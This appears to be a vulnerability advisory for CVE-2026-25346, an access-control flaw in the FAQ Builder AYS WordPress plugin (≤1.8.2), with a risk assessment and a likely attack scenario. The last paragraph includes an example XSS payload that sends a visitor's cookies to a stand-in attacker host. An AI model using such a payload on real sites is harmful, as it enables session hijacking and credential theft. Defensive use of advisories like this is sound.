Faq Builder Ays CVE-2026-25346

Remote unauthenticated attacker crafts malicious input exploiting incorrectly configured access control in Ays Pro FAQ Builder AYS plugin version ≤1.8.2. Victim must click attacker-supplied link or visit compromised page. Requires WordPress installation with vulnerable plugin enabled.

Despite the absence of published CVSS and EPSS scores, this vulnerability carries significant real-world risk due to multiple factors. First, it affects a WordPress plugin, which means the attack surface includes any WordPress site using FAQ Builder AYS up to version 1.8.2—a potentially large install base given the plugin's functionality and market presence. Second, the vulnerability explicitly involves access control misconfiguration, suggesting that exploitation may not require authenticated access or elevated privileges, lowering the bar for attackers. Third, XSS vulnerabilities are highly automatable and easily weaponizable for credential theft, malware distribution, or defacement. The absence of CVSS/EPSS data does not indicate low risk; rather, it suggests the CVE is recent (dated 2026 in the CVE ID pattern) or still under embargo. The presence of formal ENISA EUVD registration and Patchstack reporting indicates this is a credible, tracked vulnerability worthy of immediate patching. No KEV (CISA Known Exploited Vulnerability) status is noted, but the attack vector (web) and likely low complexity make exploitation probable once details are publicized.

An attacker crafts a malicious FAQ entry or exploits an unprotected FAQ admin form by injecting JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into a FAQ question or answer field. Due to the misconfigured access control, the attacker may perform this without authentication or as an unprivileged user. When a legitimate visitor or administrator views the compromised FAQ page, the injected script executes in their browser context, stealing session cookies, credentials, or redirecting them to a phishing site. The vulnerability is network-accessible and requires only a web browser, making it highly exploitable at scale across multiple WordPress installations.